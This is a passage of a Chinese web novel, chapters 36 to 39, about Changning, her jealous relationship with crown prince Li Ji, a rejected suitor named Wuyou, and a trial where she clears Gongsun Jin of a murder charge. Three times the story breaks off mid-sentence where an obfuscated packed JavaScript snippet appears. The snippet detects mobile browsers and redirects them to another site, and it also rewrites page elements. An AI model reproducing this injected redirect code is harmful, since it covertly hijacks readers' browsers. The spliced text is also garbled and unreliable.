公孙瑾笑道：“那你为何宁愿同他纠缠，都不乐意奔向我？娘娘已经在张罗他的婚事，你以为他会心甘情愿守着你一个人？你以为他左右维谷，会放弃拉拢妻族？还是你以为陛下会放任他孤身，会放过你？” 他嗓音幽幽：“君心难测。” 常宁皱眉：“你要告发陛下？” 公孙瑾仰天而笑，笑得眼角落出泪来，“我怎么舍得呢？你怎么就这么心狠，这么吝啬又苛刻地待我，对他却是另一重标准？我连见你一面都难，他却能与你相拥，日日同你耳鬓厮磨。你还说你不爱男人？呵，分明就是不爱我。” 他的目光让常宁有种被钢刀一寸寸刮过的错觉，心头瘆得慌，“我是不爱你，但这不是我爱他的理由。慢走，不送。” 公孙瑾似被激怒，快步追上。常宁抽剑，逼得他不住闪避，“有本事出剑。” 常宁才是被他激怒了。 无缘无故的，总是在她心情正好的时候跳出来，说一堆莫名其妙的话，再好的情分都要消耗殆尽了。 公孙瑾思索一瞬，抬剑和常宁过招，身形如鹤，缥缈如风，“练拳对你，果真有用。” 常宁咬牙不语，只一个劲进击，直待公孙瑾忽地停顿，任由长剑刺近心室，鲜血洇湿夏衫。 嗡地一声扔掉长剑，常宁切齿，“你疯了！” 公孙瑾捂上心口，露出个沉醉的笑，“只有这一剑，独属于我，他永远也得不到。” “少爷，少爷！”书剑领着府卫过来，跨进院子，目眦欲裂，“给我围了他！” 公孙瑾身法好，避过了府卫的刀戟，一剑挥退书剑，踏墙而去。 书剑急切地望向常宁，“要不要叫大夫？” 常宁摇头：“我没伤。辛苦你们这几天守在院外。” “早要守了，少爷嫌烦，”书剑疑惑，“那不是公孙伴读嘛，这么晚闯来找少爷做什么，还动剑。” 常宁哼了一声，“少爷我长得比他好看呗，惹他看不顺眼了。” …… 翌日，下学后常宁往东宫走了一趟，侍卫拦着常宁不让进。 常宁也不作纠缠，挥挥衣袖出宫，上了马车去京郊庄子上。 方俞周道：“殿下，听说娘娘有意为您筹备亲事？若殿下不嫌弃，微臣这里倒是有几个合适的人选。”觑了眼李稷的神色，似乎并不关心，他便换了话头，“自然，殿下年少，婚事不必太早。臣昨日到太傅府上，太傅与钦天监拟了几个吉日，想来中秋那天，陛下会借神龟大赦天下，令天下囚徒归家团圆，为修建接仙台积攒功德。” 陛下前些年崇尚峻法，兼之耽于享乐，治下不严，大牢里有许多被重罚或是诬害的囚犯，借了神龟的由头，刚好下一次敕令。 李稷颔首：“那些被诬害的百姓中，可有堪用之人？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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无忧只是细细品味黄酒，常宁已经咕嘟嘟喝完了，拿帕子擦唇。庄户人家节俭惯了，为了招待常宁，平日里不舍得用的猪油、盐巴、香料，各个都拿了出来，连香油、酱油、陈醋，都是挑得各家最好的。虽比平时奢侈许多，但骨子里的简朴还在，较之酒楼，更少了几分油腻，香气却要更胜几分，厨子手艺也各有千秋，别有不同。 常宁吃得高兴，让书剑临走时给庄上农户塞些银钱，尽心享用美食。待天擦黑，农户携妻带子，要给常宁讲庄子上的事。 这些一向是姜夫人在管，常宁听他们讲收成和种植经验，虽满头雾水，却也听得津津有味，“打理田地这么累。” 农户笑道：“不累。主家仁善，每年的收成，三成交给朝廷，三成交给主家，余下四成是我们的。等攒够了银钱，田地价钱低了，我们就能出去买自己的田。” 他们如今算是佃户，最期待的，就是拥有自己的土地。外面的田庄，主家多是要收四到五成田租，留给佃户的并不多。 常宁也纳闷，如今田价竟比三年前高出了一成多，涨得实在太快，“无忧，你叫我来，有什么事啊？” 无忧道：“更深露重，不如到房内再谈。” 他这么慎重，还怕被人听到，常宁自然配合。 眼瞅着一群人热热闹闹过，刘总管额汗涔涔，恨不得飞去寻常宁，再飞着将常宁带到殿下这边。 李稷负手，“当真好生快活。” 刘总管堆出个笑：“庄稼人淳朴，殿下可要去瞧瞧？常伴读来得早，兴许对附近风光早有领略，正好带殿下游览。” 李稷道：“带路。” 刘总管忙上前，心里道了声对不住。 死道友不死贫道。 何况该道友死不了，贫道却是真会惨。 36. 第 36 章 无忧嗓音清澈：“独坐幽篁里，弹琴复长啸。” 常宁挑眉，接道：“深林人不知，明月来相照。” 无忧低首微笑。 常宁瞅瞅天色，“你找我说什么？我得快些回去，不然城门要关了。” 无忧微微摇头，“二十年前，我家在江南书香传家，你母亲与我母亲曾义结金兰。当时我爹娘和你爹娘指腹为婚，不知如今可还作数？” 常宁倒没想过还有这件事，更不知她娘和无忧还有这等渊源，摆手道：“自然不算数。指腹为婚要一男一女才好，你我都是男子，恐怕只能桃园结义了。” 无忧一笑，眉目明净，清如芙蕖，“若我不在意呢？” 常宁道：“终究是两个人的事，我爹娘还指望我养老送终，恕不奉陪。” “你犹豫了，”无忧水眸湛湛，声线和缓，却十分笃定，“我知道那夜楼下的人是你。” 常宁几无停顿，“你记错了，那不是我。”她望了望，“若无事，我便走了。” “这里……”无忧攥着木楎架的手近乎苍白透明，身形微颤，“有老鼠，夜间有狼鸣。我今日出门，还撞上了野猪。” 他撩起衣袖，白皙清瘦的手腕上，赫然陈列着一道新鲜的疤痕，血淋淋的。 往后捉两只猫来就好。 常宁蹙眉：“庄子里很少有野猪闯进来的，你去了哪里？往后若要出远门，可以叫上武士。书剑，书剑——你去把咱们马车上的伤药都拿下来。” 她还没见过怕老鼠怕成这样的人。这么胆小，还一个人去那么远。 无忧垂眸：“观你爱饮酒，采些草药做醒酒汤。” 常宁笑了：“我酒量很好，轻易不醉的。多谢你了。” 书剑呜呜叫了两声，发不出声音，眼球里都是血丝。 少爷啊，别再说了，咱打道回府吧！ 刘总管悄声道：“小兄弟，先委屈你一二。” 里间谈话声陆陆续续飘出来。 “外面那片竹林，是你让人移栽来的。” “你说什么？竹林？许是我爹做的。” “伯父不爱这些，”无忧道，“只能是你。” 常宁不认，眸光落在他伤口上，有些生气，一把抓起他手腕，“奇怪，怎么像是要发脓？你连自己都顾不好，还管我做什么，以后不许再做这么危险的事了。” 无忧任由常宁捧着手腕左右翻看，“我喜欢。” 对上他的目光，常宁斟酌着，还是要把这件事解释清楚，免得让无忧白白蹉跎。 素白泛黄的窗纸上，映照着明亮的烛光。发束高冠的人抬起对面人的手腕，几乎要抵上下颌。 甚至还踮了脚尖，一手按在对方肩膀上，脑袋往对方脸侧凑近。 “跟你说个事，”常宁小声道，“兴许中秋就要大赦天下，你要早做准备。” 还没发诏令的事，常宁也不敢大声嚷嚷。她也是打听到的，又不好写在书信上留了痕迹，趁着这次过来，悄悄说给无忧听。 无忧神色微动，眸中似有波光涌动，搭上常宁按他肩膀的手腕，被常宁不动声色地甩开了。 刘总管看得额角突突跳，一边抬眼看黑沉着脸的李稷，一边轻轻抬剑往书剑处挪，冷不丁撞上脚边一瓮陶罐，被李稷骤然射来的视线激得汗毛竖立。 里面传来一道清冽的嗓音：“无忧……” 李稷深吸一口气，抬腿猛踹。 砰地一声，木门应声而倒。 常宁抬袖挡住了飞来的木屑，将无忧挡在袖后，手按上腰间长剑，示意无忧后退。 木屑飞尘纷纷扬扬，雾一般朦胧，常宁眼睛睁不大开，只隐约见对面人身影略有些熟悉。 李稷收回长腿，狭长的眸子微眯，落在常宁按剑的手上，“奸夫？” “不是，”常宁忙丢了剑解释，“此处地僻，方才动静太大，我以为是匪徒，不是要……” “可不就是匪徒？”李稷几乎从鼻腔中挤出一声怪笑，目光如炬一般盯在常宁脸颊上，“是孤这个恶人，搅了你们双宿双飞。” 不可理喻呐，话都不让人说完！ 无忧扯扯常宁衣袖，满眼担忧：“我是不是给你惹麻烦了？” “别多想，”常宁一个头两个大，瞅瞅李稷，再瞅瞅无忧，决定告别无忧和李稷出去说话，转头道，“你先休息，我以后……” 常宁话都没说全，李稷已经照着常宁亲了下来。 常宁都惊呆了。 他们平常从不会在人前这么亲密的，毕竟李稷还要脸。 常宁伸手推了推，没推动，李稷揽着常宁腰的手反而更紧。 无忧惊呼出声，“你、你们……” 常宁一害羞，险些一巴掌伸出去，好险忍住了。 此时此刻，她是真想装作不认识李稷。 常宁道：“出去说话。” 李稷瞥无忧一眼，拉上常宁，略过刘总管和书剑，在书剑的瞪视下走远。 后面无忧倚在门框上， 幽篁丛生，清风拂面。夜色并不算浓重，天上那颗愈发饱满的月亮渐渐向中天自动。 此处隐蔽，常宁叫他停下，“就在这里。” 李稷瞧一眼俊秀青竹，哂笑：“同孤讲话，也要在你为他特意移栽的竹林里？” 常宁头疼，“我只是想和你说明白，我今夜来找他，没有别的意思，只是单纯见一面，解决些过往的旧事。” 每一个字，落在李稷耳中，都刺耳得紧。常宁早已被他堵回了不少话，见他要扯唇，立马上前一步捂住他，“听我说，你先听着。我不知道你来了多久，但你先别急着开口，我从头给你讲。” 常宁努力回忆，从她到庄子上开始讲起，连席上上了几道菜都讲得清清楚楚，一道道报菜名，感慨道：“特别好吃。” 被李稷冷眸幽幽看了一眼，常宁收回畅想，着重复述她和无忧的对话，“就是这样。我先前好几次想说话，你都不给我机会。” 李稷：“你果真上心，竟无一句遗漏。” 常宁喉头一哽，“……那我瞒着你，你就高兴了？” 李稷不语。 常宁心觉有戏，“你怎么想这么多？你以后再不好受，就讲给我听，不要闷着。再怎么说，咱们俩这关系，除去我爹娘，就是最铁的了，我肯定站在你这边的。” 李稷：“你待孤，同待他又有何区别？不过都是花言巧语地哄着骗着。” 他肯开口，常宁就谢天谢地了，“我肯定更在意你啊。你想要什么不同？到明年正月初七之前，你都不用担心的，凡是你想要的，我都会尽最大努力去做。” “都会做？” “尽力，实在不行也没办法，”常宁耸肩，桃花眸弯弯， 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常宁哦了一声，等应完了，才反应过来发生了什么。虽她此刻更多地是感到轻松，可多日相处，总归有些难受，却也忍住了，没再开口去叫他。 书剑还被绑着，见了常宁呜呜叫。常宁接过无忧递来的剑，划开束缚者书剑手脚的麻绳，又解开了他脑袋后的绳结，把他嘴里的布头取出来。 甫一挣脱，书剑便要开口，触及正隐忍望着常宁的无忧，讷讷道:“少爷，要不我在外面等你？” 常宁颔首，“去吧。车上有茶水，你自己喝。” 无忧问：“为什么？” 常宁笑笑，抬指指向李稷离开的方向，“你也看到了，我既已心有所属，自然不能再耽误你，不然岂不是脚踏两条船？那样迟早有一天要栽水里的，我可不想。” 无忧沉默一瞬，“我可以等你。” “但我不会选择你。” “我不信，”无忧坚持，“我确信你曾待我有情。” 即便是身处秦楼楚馆，目睹他最灰暗不堪的时刻，常宁看他的目光依旧光明，托腮看他时，那眸底的欣赏恋慕，他绝不会认错。 “唔，”常宁道，“你也说是曾经，且我曾经那般待你，多半是因着你生得好。色衰而爱驰，无忧，你不能找这样一个只贪图你容色的人。” “我知道了，”无忧闭眼，绕过躺在地上的门板，情绪低落，“你走吧。” 常宁依言照做。 待回了马车上，又被书剑脸颊两侧的勒痕逗笑，惹得书剑一直瞪她。 常宁丢给书剑一个药瓶，“行了，以后不会有人敲你闷棍了。” 书剑咽咽口水，顾不得擦药，从斜衽内缝着的布袋里抽出小书，拿着炭笔写写画画，殷切望向常宁，“那少爷，里面那位是贰吗？” 常宁：“……拉郎配多麻烦，你干脆把你自个记上得了。” 书剑忙摇手，“使不得使不得。” 骏马的嘶鸣声渐远，极目远眺，依稀只能瞧见两点晃动的羊角灯灯光。 无忧望着，无比清晰地感知到，这兴许是常宁最后一次来找他。 半垂的眼睑遮住了他眼里的思绪，苍白手背上，是跳动的青筋。 不会的。 37. 亥正 近日魏都中，武林中人云集合，巡城的守将和金吾卫压力骤增。 长安居，大不易，魏都亦如此。这些从大魏各地奔赴而来的豪侠，有些腰缠万贯，有些兜里叮当响。有亲友在魏都的，便寄居在亲友家。若无亲友，租上几日客栈，便捉襟见肘了。 兼之潇洒惯了，不熟悉魏都的规矩，平日里在各自家乡，又都侠名远播，官民愿意敬他们几分，纵马驰骋好不恣意。然而到了魏都，这一纵马却出了问题，被官府罚了不少银钱，更是雪上加霜。 即使是大侠，也要为了碎银几两奔波。 这倒便宜了常宁，随便进一家酒楼茶馆，都能遇上在大堂里说书的或是卖艺的江湖人。常宁也佩服他们的豪爽，每日好不自在。 云策又和他爹去营中了，经历了公孙瑾和李稷这些事，常宁再与旧友相处，总觉得怪怪的，非必要基本不见他们，平日里也躲着走。 这日，常宁正在楼上喝茶，接过对面燕云台人递来的信件，眉眼弯弯道了声谢，就听得楼下一声巨响，有个汉子醉了酒，骂骂咧咧指责起了朝廷。 “俺们大老远过来，襄助朝廷破案，到头来还背上了朝廷的债，像话吗！” 有人起哄，有人一言难尽地看着他，又嫌弃地挪开，亦有人破口大骂。 常宁近日有些低落，抬眸看了一眼，就移开视线，捏着手里的信封看，刚想再问些细节，却见对面人目光灼热地盯着大堂。 方才那发酒疯的汉子已被人制住了。那人墨发高束，方脸浓眉，目如星子，衣衫干练，一派落拓疏阔，颌蓄短须，沉稳中又带几分和气。 常宁还从未见过这样美须髯的人，此人硬朗的气质也与她同窗们的俊秀不同，但一样养眼，“这是谁？” “盟主，”对面人迅速收拾桌上遗留的物品，拱手告辞，“少爷若有事，拿上令牌寻我们，我们无有不应的。” 堂下那位盟主抱拳赔罪，“是周某没能管好手下人，给大家伙添麻烦了。我们闯荡江湖，风里来雨里去，最良久侠义，触犯了城里的条例，没有逃避的道理。我们有手有脚，几两罚银，一颗子也不会少。诸位兄弟，我知道你们心里苦，若实在有困难，便来寻我周某，我周某愿意解囊相助，只一点，切莫打搅大家伙。” 常宁手撑朱栏听着，微微点头。周盟主朝这边看来，眸光停顿一瞬，转过头去处理余事，阔步踏阶上楼。 “小兄弟，可介意拼个桌？” 常宁自然不介意，“我请你。” “豪爽，”周盟主也不拒绝，拎起酒壶倒了两海碗，推给常宁，“来，干！” 常宁一口喝下，亮了亮碗底。周盟主一手拎酒壶，一手按上碗沿，却没拉动碗，抬眼对上常宁审视的目光。 “周某人，我可曾得罪过你？”他面前的酒，一动未动，只一心给常宁灌酒。 周盟主一笑，“不曾。” 常宁懒得搭理，方才升起的好感碎得无影无踪，路过他身边，从鼻孔里哼出一道气，趾高气扬找表姐去了。 东宫里，刘总管捏着手里的信，进也不是，退也不是。听得李稷叫他，连忙将信收进袖带，满脸堆笑地趋步而进。 待李稷张口，却一字未发，刘总管就有了主意，“殿下，方才常伴读递来的信。” 李稷一指堆积的政务，“放最下面。” 刘总管依令，暗暗猜度，恐怕要入夜才会拆信。 要他来看，殿下这又是何必呢？总归不过是些小摩擦，感情这种事，免不了有矛盾，偏偏两个人都是寸步不让的。 …… 常宁不再往东宫多走动，但依旧会差人送些稀奇宝物和打探来的消息。大恩不言谢嘛，提前结束，常宁虽高兴，却也多少有些过意不去，试图从别处给些补偿。 今日恰是骑射课，常宁蔫蔫的，牵着马往角落里走，不太想看到公孙瑾。 公孙瑾走过来，常宁就换个地方，摆明了不乐意见到他。偶尔逼急了，常宁也不吝冷眼冷语的，他都恍若未闻，阴魂不散，反倒弄得常宁满心颓废。 “你们这些人是不是该喝中药了？让大夫调理调理去。” 这人依旧没回应，只拿眼睛望着常宁。常宁惹不起躲得起，等先生一声令下，一马当先，带起阵阵黄土，奋力打马，只求甩掉公孙瑾。 他跟得紧，常宁又不是变态，没有让人吃黄土的癖好，见甩不掉他，索性回转过去，到杜先生面前，虚弱道：“先生，我病了。” 杜先生瞧着常宁满脸红润，嘴角一抽，“哪儿不舒服？” “脑袋，胳膊，腿，哪里都难受。啊，我握不住缰绳了。” 杜先生攥住马鞭，作势在地上抽了两下，吓道：“回去，不然给你记零分。” 常宁遗憾退场，“现在心也痛。” 零就零呗，反正御书房这边只要总分达到标准就好。常宁牵着马沿着围篱溜达，随手薅草喂给它吃。马从鼻孔里哼气，吹走常宁手心的草，别过脸去。 公孙瑾笑了：“它吃的是粮草，以粮食为主，比大多老百姓都吃得好。到上战场的时候，也要喂饱了它。一个穿戴盔甲的士兵，有一二百斤重，不拿粮草喂，没办法驮着士兵长途跋涉、浴血厮杀。” 常宁:“算你有见识。挡着我路了。” 不过他这么一打岔，常宁倒是好奇，“百姓吃不饱饭吗？” “盛世能，”公孙瑾含糊道，“别问了。” 常宁：“小气。” 公孙瑾：“你凑近些，我悄悄告诉你。” 常宁瞪他：“诡计多端，我才不。你离我远一点，我不想看见你。” 杜先生直叹气。待众多学子打马回来，将猎物放下，他这两个最得意的学生却两手空空、脸皮厚如城墙，还冲他笑得灿烂，那叫一个火气冲天。 还不等他着重批评两人，一队威风凛凛的黑甲侍卫已经亮出令牌闯了进来。学生们面面相觑，好奇地打量着这队甲兵。 常宁也好奇，尤其是甲兵直冲常宁这边过来，常宁把自己做的坏事想了八百遍，又骂了李稷一通，听到统领冷酷的声音。 “奉命捉捕。公孙瑾，伏罪否？” 公孙瑾摇头，“不知我有何错。” “冥顽不灵，”统领冷哼，“拿下！” 为首的统领杜先生识得，有几分旧交，开口要周旋一二，被统领冷若冰霜的面孔挡回，看公孙瑾几息之间镣铐加身，被他们推搡着踉踉跄跄，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474320|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这学生平日里舍不得打骂，且持重些，给他些体面。” 耳边嘈嘈噪噪，同窗们交头接耳，“他杀过人，遭报应了吧！” 常宁瞪回去：“那是刑部盖了戳的，要说到刑部说去！” 对升了官还风雨无阻来上骑射课的公孙瑾，杜先生是存了几分爱护的，平日里也没少借公孙瑾吹嘘自己，当下又是连声请统领礼待些。 统领自是不听。 常宁问：“这位大人，敢问此案可曾定案，又可曾上报圣裁？” 统领定住脚步，回头紧盯着常宁，见常宁不怯，遂道：“不曾。” 常宁：“那他就是待审罪员。我朝有律例，案子审讯定案上报圣裁前，照旧要对罪员以礼相待。” 统领浓眉细微攒动，挥手示意手下放开公孙瑾，“让他自己走。” 常宁收回目光，给杜先生顺气，“先生莫忧，阿瑾做事有分寸。散学了，先生早些归家。” 一瞬之间，方才还讨厌到恨不得此生不复相见的人，突然镣铐加身，眼看就要踉跄入狱，常宁甚是唏嘘。 未知全貌，常宁并没有安慰杜先生那么有底，公孙瑾此人在她这边也毫无信誉可言。 宋念辞好不容易看到常宁落单，连忙从人群里挤过来，准备从骂骂公孙瑾切入来拉近距离，“欸，你知道他们找他做什么吗？” 常宁摇头，她是真不知道。 宋念辞常常耍尽花招从他爹嘴里套话。奏折藏得严实，他找不着，废纸篓但是扒过不少回，“这次查江湖上的案子，圣上不止派了公孙瑾，还派了一位姓郑的大人。可巧，郑大人和公孙瑾意见相左，五天前亥正时刻在家里遇刺身亡，府里管家报案，人证物证俱在。刑部私下里审讯过一次了，没动刑。偏公孙瑾嘴硬，翻来覆去都是没杀，却又拿不出人证物证。” “限他今日交出人证物证，他倒好，还有心思来打马。这下可好，陛下派人来捉了，看他怎么办。” 要宋念辞说，公孙瑾这般分不清轻重，不是傻就是蠢。 常宁皱眉：“五日前亥正？” 公孙瑾不是在她院子里嘛。 宋念辞点头，“自然。你有没有在听？” “听着的，”常宁额上沁出层薄汗，心如擂鼓，“若是判了他的罪，会判什么？” 得益于御史爹的打磨，宋念辞对律法可熟悉了，略一思索就给出答案，“刺字，发配充军，估计是往西北去。” “刺在哪儿？” “当然是脸上。” 常宁一惊。这字就是刺在人见不着的地方，也够膈应人的，何况刺在脸上，人人都能见到，人人都能唾弃。即便是在军营里，铁上钉钉犯了错被刺字的士兵，也是为人所不齿的，总是受人打压。 若确有此事还好，可若是被冤枉的，依公孙瑾的性子，顶着刺字被发配充军，莫说对他不啻于莫大羞辱，只他留在京中的寡母，又要如何？ “常宁，常宁！”宋念辞在常宁眼前挥手，“想什么呢，眼都直了！请你去我府上做客，我娘一直念叨你。” 常宁回神，“我今日有事，改日再去，代我问候伯母。告辞。” “跑得真快，”宋念辞摇头，垂头丧气。 38. 对簿公堂 刑部、大理寺、厂卫那边都来了人，李稷在上首，三部门按品阶而坐。为避嫌，龙禁尉那边并没有派人过来，郑大人那边派来了一位直系上官。 还有顺道来看热闹的二皇子李慎。 主审官大理寺刘少卿打破寂静：“罪员公孙瑾。” 公孙瑾垂首：“罪员在。” 刘少卿板着国字脸，一拍桌案，“传证人孙氏。” 孙氏面带风霜，着一身灰补子，跪倒在公孙瑾身侧三步外，愤恨地瞪一眼他，“禀大人，老奴孙有钱，是郑大人家中管家，伺候郑大人三代。五天前夜里，临近亥中时分，我起夜时，听到一阵惨叫，还有我家大人的怒骂声，连忙上前察看。不等我推开门，我就从门缝里看到……” 他打了个寒颤。 刘少卿皱眉，“如实告来，不得欺瞒。” 孙有钱瞥公孙瑾一眼，抬指指向公孙瑾，“我看到一个身形与他相仿的男人，身着夜行衣，举着长剑从我家大人身上滑下去，从头到脚、从眼到唇，足足凌虐半刻钟有余。等他走了，我怕极了，连忙到府里叫了府丁和大夫来，我家大人尸体都凉透了！” 刘少卿颔首，“罪员公孙瑾，可有话要辩？” 公孙瑾高傲地冷哼一声，不屑道：“不足为辩。” 主审官和两位辅审官都被他的态度激怒，“孙氏，物证何在？” 孙有钱从袖带里捧出一枚染血腰牌，是龙禁尉的样式，上头赫然写着公孙瑾的名字，“大人请看，小人绝无一句虚言。” 刘少卿与几位大人传看过，二位殿下也都看过。郑大人的直系上官已是怒不堪言：“可怜郑应，上有老母下有小儿，夫人新寡，一大家子都靠着他养活。公孙瑾，你真是好歹毒的心！” 刘少卿喝道：“肃静！” 他低眸，望向手中的木标。此案疑点重重，偏上头催得紧，公孙瑾又年轻有为、果断刚硬。若是旁人设的局，日后公孙复起，必定要报复他。若要自保，少不得要这公孙永无翻身之日。而这判法，他早已琢磨过数日。 二皇子兴致缺缺：“这么快就破案了？刘大人，这案子怎么判来着？” 刘少卿不动声色地将堂中人打量了一遍，见太子殿下也颇为淡漠，似是毫不关心，并没有多少伴读情分，正要开口判案，值省小吏神色匆匆进来，俯身耳语。 天助他也！ 刘少卿一捋胡须，“案情未明，宣罪员人证上堂。” 堂内众人微惊，望向公孙瑾。公孙瑾亦不知何时找过人证，垂眼看膝前衣袍。 常宁入内一拜，站在公孙瑾左侧，笑道：“问两位殿下安。人证常宁，见过诸位大人。” 刘少卿：“公堂之内形容肃整，禁轻浮嬉闹。既是人证，你有何要证？” 常宁打眼一扫，就见到三位熟人，冲李稷一颔首，朗声道：“五天前亥中，公孙瑾在我的院子里。不止我，我家中的小厮府卫，都能为他作证。” 孙有钱起身驳斥，“胡言乱语！若真有其事，为何公孙瑾先前不找你做人证？你府里的奴仆，都是听命于你，你怎么证明你做的不是伪证？何况你和公孙瑾一同进学，有同窗之谊，谁知道你是不是故意帮他！” 刘少卿等孙有钱说完了，一拍惊堂木，震得孙有钱又跪下了，“肃静！本官问案，还是你来问案！” 孙有钱瑟瑟发抖。 刘少卿：“常生，本官问一句，你答一句。公孙瑾为何深夜寻你，又深夜出现在你的院子里？” 常宁道：“大人，你看我二人哪个生得好？” 大理寺少卿斥道：“不得无礼！” 二皇子倒觉得有意思，“这么凶做什么，他是人证，不是罪员。依本殿下来看，自然是你更胜一筹。” “我也这么想，”常宁笑道，“那夜我跪完祠堂，迎着冷风往回走，刚到院子里，他就提了剑翻过重重院墙，与我相斗许久。我传令书童，书童引了府卫过来，这才堪堪制住他。如今他心口上，还留着我那夜刺下的伤，诸位大人可自行查看。” 小吏忙点头：“罪员心口确实有伤。” “无缘无故，他做什么与你寻仇？”刘少卿发问，“又提什么容貌，公堂之上岂容你胡来！” 这话刚落下，便有几道凉嗖嗖的视线落在他身上，他也不敢乱看，硬着头皮逼视常宁。 “情伤，”常宁道，“我长得比他讨人喜欢，他爱的姑娘不爱他，爱我。他醉了酒，提了剑就要和我一决雌雄。” 刘少卿：“哪家的姑娘？” 常宁耸肩，弯眸笑笑，“那么多人爱我，我怎么知道是哪个？记不得了。再说了，姑娘家还要议亲的，不便牵扯进来。” 一时倒是不少人暗戳戳怜悯地望向公孙瑾。 刘少卿也怕拍到高官家的贵女，轻轻揭过，“孙氏，你可还有话要说？” “小人不信！”孙有钱咬牙切齿，“莫说小人不会看错，便是小人手里的腰牌，可是真真切切的！” 常宁也看到了，一挑眉头，“大人，我来得晚，可能听一听郑大人那边的证词？” “可。” 孙氏兴许是气极，证词不像之前那样清晰，反而断断续续、东一榔头西一榔头，虽说全了，听着却极迷糊。 常宁自小经爹娘打磨，又爱交游，处理这点信息不在话下，“大人，孙氏做的是假证。” 郑大人上峰拍椅斥道：“黄口小儿血口喷人，欺人太甚！” 二皇子与李稷挨着坐，幸灾乐祸地瞥一眼李稷，“皇兄，还是你的人看起来带劲，不像我，手底下人一个塞一个没趣。等你烦了他，不妨拨给我，我会好好待他的。” 李稷：“你禀明了父皇，孤自然不拦着。” 二皇子知晓李稷与常宁近来走动少了许多，故意说这话找李稷不痛快罢了，哪里会真到父皇面前。 常宁拱手：“大人，我有几个问题要问郑大人的人证。” 刘少卿颔首。 常宁问：“当夜，你是第一个，也是唯一一个听到你家大人惨叫的？” “是。” 常宁：“为何你家大人院里的丫鬟小厮没听到？” “他们被下了迷药。” 常宁：“只有你家大人院里被下药了？” 孙有钱不耐烦：“是。” 常宁：“你住在哪里，你家大人住在哪里，要走多久？” 孙有钱压下烦躁，随口答道：“我在西南角的下人院里，大人在府中心的翠微院里，要走上两刻……”他顿住了。 常宁冷笑：“两刻钟的步程，中间不止你家大人一座院子吧？你做什么，要走得那么近，还头一个听到你家大人惨叫声？为何其他没被下药又住得比你近的人听不到？” 刘少卿目露赞赏，呵斥冷汗涔涔的孙有钱，“答话！” 堂内众人也都望向孙有钱。 孙有钱哆哆嗦嗦：“我家大人夜里睡不踏实，凡是不往后院去的日子，小人起夜后都要到大人那里一看，替大人掖被角。我头一次给大人掖被角，大人才丁点大，掖了几十年，谁曾想白发人送黑发人。公孙瑾凌虐我家大人，自然怕大人叫声太大引来府中人，迷晕了满院人，塞了大人的嘴。” 他咬牙切齿，气得浑身发抖，癫狂地笑：“哈哈哈，谁曾想，出了我这个变数！” “有理，”常宁不疾不徐，赞同一笑，“但我还有疑问。杀手走后，你立马叫来了府卫和大夫？” 孙有钱红着眼点头：“我家大人遭受凌虐，我岂不忧心？” “感天动地的忠仆，”常宁毫不吝啬夸赞，“大夫到了，你家大人凉透了？” 孙有钱悲恸：“是。” 常宁：“没记错？” “是。” 常宁道：“我家膳房里杀猪宰羊，都要两三个时辰才凉。这人，总不能连猪羊都不如吧？” 孙有钱大怒，要扑上来动手，被李稷的护卫按住了，咬牙道：“那我的物证，总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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散堂，常宁没和公孙瑾多待，立时就出去了。 没走出多远，小太监就叫住了常宁，“常伴读，稍候，殿下寻您。” 这还是常宁自那夜之后第一次见到李稷，问安后立在一侧，听他吩咐。 李稷道：“几日不见，怎就如此生分？” 常宁弯眸笑笑：“不适合嘛。” 李稷为这笑晃神，举着茶盏低头浅啜。这些天来，他可谓是行也思君，坐也思君，见了常宁尤甚，“不是怕公孙瑾么？” 常宁反驳：“我才不怕他，讨厌他罢了。烦死人了，天天在我眼前晃来晃去。” 李稷：“那还帮他？” “我是因为他被冤枉了才帮他，不是因为他而出手。” 先前常宁是一路急奔过来的，在堂上时不显，如今下了堂，自然晓得鬓角有些碎发落了下来，伸指挡住李稷的手，“殿下慎行。” 二人关系反反复复，常宁才享受了几天潇洒日子，还不想再回到过去。何况她和李稷总是吵架，常宁心累，抽不出精力天天去哄着捧着。 若是个喜欢的，常宁倒也甘之如饴，偏她不大喜欢李稷。 李稷：“天色不早，你也早些归家。” 待常宁背影消失不见，李稷收回视线，朝着中宫微叹一口气。 猝然入场，还能在公堂上以一己之力扭转全局的人，怎么可能甘于屈居他一方宫殿之中，日日与他耳鬓厮磨。 他也该信常宁之磊落坦荡，先时何至于看常宁与谁接触都心生猜疑。 只盼常宁能成长得更快些，好待他来日提拔。也盼常宁能熬过京中风雨，等他铲除了一切钳制，擢常宁为贵臣。 天子与国之柱石相近，谁又能非议些什么呢？哪怕来日史书工笔提了狎幸二字，后人又能猜度些什么？ “走吧，刘章。” 刘总管亦步亦趋地跟上，在夕阳下最后回眸往常宁离去的方向望上一眼。 39. 云栖寺 田垄一望无际，绿草黄土，耕耘的农人不断地俯身，又直起身子捶打腰背。 小童骑在牛身上，横笛唇前，摆动身子吹笛。还没停下，就听到路尽头也传来笛声，清脆悠扬。 白马少年朱衣金冠，捏着玉笛吹曲子，带出身后几辆被人护卫着的马车。小童虽然没听过这曲调，却能听出满溢的愉悦。 常瑛从窗边露出半张脸，“宁宁，拉上缰绳。” 常宁老老实实，“好了，姐姐。” 路过小童时，常宁握着玉笛晃了晃，“我能和你换一下吗？” 小童愣愣点头，等反应过来，人已经走远了，这才惊见自己手工的碧玉笛。 孟学洲和妹妹低语几句，打马追上常宁，见常宁拿着竹笛瞧来瞧去，笑道：“怎么了？” 常宁随意一笑，“好玩罢了。你也去无相寺？” 